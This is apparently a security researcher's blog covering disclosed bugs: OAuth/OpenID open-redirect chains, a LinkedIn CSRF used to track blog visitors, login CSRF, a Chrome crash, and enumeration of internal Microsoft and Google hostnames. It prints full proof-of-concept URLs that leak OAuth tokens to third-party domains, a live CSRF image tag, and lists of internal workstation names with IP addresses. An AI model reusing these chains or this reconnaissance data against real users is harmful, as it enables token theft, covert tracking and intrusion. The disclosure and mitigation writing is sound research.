Friday, September 18, 2015

A simple string to crash Google Chrome

Recently I reported a crash bug in Google Chrome (issue #533361). This issue reminded me of the recent Skype vulnerability - both occur with simple URL strings. So how can you crash Google Chrome? By adding a NULL char in the URL string:



Unfortunately no reward was awarded as this was deemed to be only a DOS vulnerability. Anyway, making secure software is much harder than finding issues in it. Thanks Google.

Wednesday, April 15, 2015

Google, Microsoft and token leaks

Some stir recently was caused by OAuth open redirector and even an RFC security addendum was created for it. While this was known for quite some time already, it's still good to remind the general public. So here's another known issue - an Open Redirector in OpenID.
It works like this - whenever "checkid_immediate" mode is used it redirects without any questions asked. And here's an example in accounts.google.com:
https://accounts.google.com/o/openid2/auth?openid.claimed_id=http://specs.openid.net/auth/2.0/identifier_select&openid.ext0.mode=fetch_request&openid.ext0.required=email&openid.ext0.type.email=http://axschema.org/contact/email&openid.identity=http://specs.openid.net/auth/2.0/identifier_select&openid.mode=checkid_immediate&openid.ns=http://specs.openid.net/auth/2.0&openid.ns.ext0=http://openid.net/srv/ax/1.0&openid.ns.ui=http://specs.openid.net/extensions/ui/1.0&openid.realm=http://www.simcracy.com/&openid.return_to=http://www.simcracy.com/a#a
For a full exploit let's just use OAuth app (created by Google) that imports some data from Microsoft: 
https://login.live.com/oauth20_authorize.srf?response_type=token&client_id=00000000401058A9&scope=wl.emails&redirect_uri=https://accounts.google.com
And here's the full Proof of Concept:
https://login.live.com/oauth20_authorize.srf?response_type=token&client_id=00000000401058A9&scope=wl.emails&redirect_uri=https://accounts.google.com/o/openid2/auth%3Fopenid.claimed_id%3Dhttp://specs.openid.net/auth/2.0/identifier_select%26openid.ext0.mode%3Dfetch_request%26openid.ext0.required%3Demail%26openid.ext0.type.email%3Dhttp://axschema.org/contact/email%26openid.identity%3Dhttp://specs.openid.net/auth/2.0/identifier_select%26openid.mode%3Dcheckid_immediate%26openid.ns%3Dhttp://specs.openid.net/auth/2.0%26openid.ns.ext0%3Dhttp://openid.net/srv/ax/1.0%26openid.ns.ui%3Dhttp://specs.openid.net/extensions/ui/1.0%26openid.realm%3Dhttps://www.courlandconsulting.com/%26openid.return_to%3Dhttps://www.courlandconsulting.com/a%23a
If you now inspect the URL, you'll notice that token was sent to my third party site.

And here the real problem with Authentication Providers comes in - is this a Relying Party (Google) or Authentication Provider (Microsoft) problem? Whatever the answer - users are the ones suffering.

Sunday, October 12, 2014

Creepy visitor tracking using Linkedin

A few days ago I performed an experiment and added the following code to my blog:
<img src="https://www.linkedin.com/profile/view?authToken=zRgB&authType=name&id=98261032" />
Link in the code snippet points to my Linkedin profile and those familiar with web security will recognize the CSRF here (and the token apparently isn't validated correctly).
So how did the experiment unfold? Anyone who visited my blog also involuntary visited my Linkedin profile. It turns out that around 35% of blog visitors were also logged in to their Linkedin accounts while browsing the Web and my Linkedin profile received more than 800 "profile views" with details about these visitors:


So a little advice - if you prefer privacy don't forget to sign out of your Linkedin account before browsing the Web.

Tuesday, October 7, 2014

Microsoft's internal subdomains

Outlook.com webmail service has a nice feature - it highlights potentially incorrect e-mail addresses in the "To" field. But what happens if we try to use some obscure subdomains? Well, it looks like the auto-correct feature works just as well for Microsoft's internal subdomains:

As you can see both citrix.corp.microsoft.com and aol.corp.microsoft.com are recognized as valid e-mail addresses, however blabla.corp.microsoft.com is considered an invalid one. Here are some of the subdomains that auto-corrector recognizes as valid ones are:

google.corp.microsoft.com
rally.corp.microsoft.com
citrix.corp.microsoft.com
vmware.corp.microsoft.com
aol.corp.microsoft.com
cirrus.corp.microsoft.com
cisco.corp.microsoft.com
bluephoenix.corp.microsoft.com
twitter.corp.microsoft.com
qualys.corp.microsoft.com
blizzard.corp.microsoft.com
alliance.corp.microsoft.com
amber.corp.microsoft.com
api.corp.microsoft.com
apple.corp.microsoft.com
arm.corp.microsoft.com
ascent.corp.microsoft.com
asml.corp.microsoft.com
aspen.corp.microsoft.com
axt.corp.microsoft.com
blackbox.corp.microsoft.com
cabot.corp.microsoft.com
caci.corp.microsoft.com
cai.corp.microsoft.com
carbonite.corp.microsoft.com
cavium.corp.microsoft.com

Tuesday, September 16, 2014

How Microsoft is giving your data to Facebook… and everyone else


A lot has been written about dangers of mistakes in OAuth implementations. Here’s another story. Microsoft uses a specialized OAuth scope wli.contacts_emails which is available only to Facebook’s app. An interesting part is that users are never notified that the app is trying to access their data and permission is granted silently. You can try this here (you’ll have to login):
https://login.live.com/oauth20_authorize.srf?client_id=0000000044002503&response_type=token&scope=wli.contacts_emails&redirect_uri=https%3A%2F%2Fwww.facebook.com%2F
As you can see OAuth token was just sent to Facebook. Silently granting permission to Facebook probably is not the worst thing (we do trust Facebook, right?). So let’s continue…
If you try to modify “redirect_uri” parameter you’ll notice that token is issued to any URL within facebook.com domain. So to leak the OAuth token to a malicious third-party an Open Redirect in facebook.com domain would be required. As Open Redirects are usually considered low severity vulnerabilities it's not particularly hard to find one. For this example we will utilize an Open Redirect in Facebook’s authorization flow (by providing an invalid ‘scope’ parameter). It works like this:
https://www.facebook.com/dialog/oauth?type=web_server&scope=invalid&display=popup&client_id=260755904036570&redirect_uri=http://simcracy.com
So by chaining the two bugs we are able to acquire OAuth tokens from live.com users. The complete example is here:
https://login.live.com/oauth20_authorize.srf?client_id=0000000044002503&response_type=token&scope=wli.contacts_emails&redirect_uri=http%3A%2F%2Fwww.facebook.com%2Fl.php%3Fh%5B%5D%26u%3Dgraph.facebook.com%252Foauth%252Fauthorize%253Ftype%253Dweb_server%2526scope%253De%2526client_id%253D260755904036570%2526redirect_uri%253Dhttp%253A%252F%252Fsimcracy.com
If you now inspect the destination URL, you'll notice that Microsoft's OAuth token was sent to a third-party website without your consent.

Lessons learned:
OAuth implementations should never whitelist entire domains, only a few URLs so that “redirect_uri” can’t be pointed to an Open Redirect. Also developers should be careful when silently granting access to apps (manually approving an app probably will not make user experience much worse). Timeline: 2013/11/19 - OAuth vulnerability reported to Microsoft 2013/11/27 - Open Redirect vulnerability reported to Facebook 2014/09/16 - Public disclosure

Update [2014/09/17]: Microsoft has fixed the OAuth vulnerability

Friday, January 3, 2014

The threat of login CSRF

Login CSRF is an often overlooked web vulnerability. Developers tend to focus on securing user data and assume that users wouldn't voluntarily give up access to their accounts. Yet with login CSRF exactly this happens - attacker is giving full control of his account to the victim (of course it's a fake account). Once the victim and attacker are in the same trust domain various other attacks become possible.

Consequences can vary:

  • attacker can monitor victim's actions
  • attacker can interact with the victim without him realizing that a session swap just occured
  • some low severity bugs can become exploitable (e.g. an XSS in configuration page, that is visible only to the account holder)
  • or just google up the links, maybe you'll find some unexpired password reset links etc. that actually log you into the victim's account

To mitigate this issue don't log in users where that's not required. If it's a password reset link, only reset password, if it's an e-mail confirmation link, only confirm e-mail without loging in the user. And make sure your other login forms are CSRF protected.

Saturday, November 30, 2013

Scanning for Google's Active Directory computer names

If you remember ad.corp.google.com from the previous post, maybe you are wondering whether it stands for "Active Directory"? Looks like it does. So here's another list - apparently composed of Active Directory computer names. The list was obtained by sending e-mails to e.g. test@jfarrell1-w.ad.corp.google.com through Gmail.

bbudge1-w.ad.corp.google.com172.22.71.111
rubin1-w.ad.corp.google.com172.26.217.98
jfarrell1-w.ad.corp.google.com100.100.63.199
dario1-w.ad.corp.google.com172.22.114.234
munjal1-w.ad.corp.google.com172.23.165.169
bedlam.ad.corp.google.com172.25.100.6
gene1-w.ad.corp.google.com172.22.79.134
trade1-w.ad.corp.google.com172.22.215.182
boss1-w.ad.corp.google.com172.17.83.209, 172.19.68.53
edgar1-w.ad.corp.google.com172.19.150.252
phoenix1-w.ad.corp.google.com172.27.145.248
gilberto1-w.ad.corp.google.com172.22.118.175, 172.19.54.117
deven1-w.ad.corp.google.com172.19.16.16
luciano1-w.ad.corp.google.com172.23.72.189
kieran1-w.ad.corp.google.com172.19.66.67
jar1-w.ad.corp.google.com172.22.71.95
mix1-w.ad.corp.google.com172.17.115.199
angelo1-w.ad.corp.google.com172.28.114.91
khalid1-w.ad.corp.google.com172.26.231.132
freddy1-w.ad.corp.google.com172.29.164.22
brewer1-w.ad.corp.google.com172.19.45.123
philip1-w.ad.corp.google.com172.16.61.165
rgupta1-w.ad.corp.google.com172.19.37.40

Judging by the names it looks like these machines are workstations used by Google employees.